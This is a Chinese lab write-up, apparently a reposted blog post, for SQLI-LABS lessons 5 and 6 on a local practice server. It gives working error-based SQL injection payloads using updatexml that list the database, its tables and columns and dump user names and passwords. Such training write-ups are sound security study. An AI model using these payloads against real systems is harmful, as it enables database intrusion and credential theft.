SQLI-LABS总结5-6之报错注入、延时注入、基于布尔的盲注

SQLI-LABS总结5-6之报错注入、双查询注入基于布尔的注入

现象:有具体的错误回显但没有数据返回
思路:构造报错语句爆出信息

Less-5

报错注入

1.判断注入点

http://127.0.0.1/sqli-labs-master/Less-5?id=1

在这里插入图片描述

http://127.0.0.1/sqli-labs-master/Less-5?id=1'

在这里插入图片描述可知正常时没有数据返回,报错时有具体的报错信息。

2.构造报错语句爆出信息

爆库

http://127.0.0.1/sqli-labs-master/Less-5?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

注:updatexml报错注入原理
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值使之不符合XPATH_string的格式
,则会爆出错误。
XPATH格式

爆表

http://127.0.0.1/sqli-labs-master/Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

爆列

http://127.0.0.1/sqli-labs-master/Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

爆数据

http://127.0.0.1/sqli-labs-master/Less-5?id=1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)--+

在这里插入图片描述
PS:updatexml的最大长度是32位的,所以有所局限,如果长度超过了32位就不会被显示出来。

Less-6

http://127.0.0.1/sqli-labs-master/Less-6/?id=1"

报错:

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘“1"” LIMIT 0,1’ at line 1

将Less-5的payload改为双引号即可。

此类型的题还可用基于时间和基于布尔的盲注来解决,详见:

https://blog.csdn.net/lixiangminghate/article/details/80781680

https://blog.csdn.net/like98k/article/details/79436463

发布了27 篇原创文章 · 获赞 8 · 访问量 8271

猜你喜欢

转载自blog.csdn.net/weixin_41652128/article/details/88550545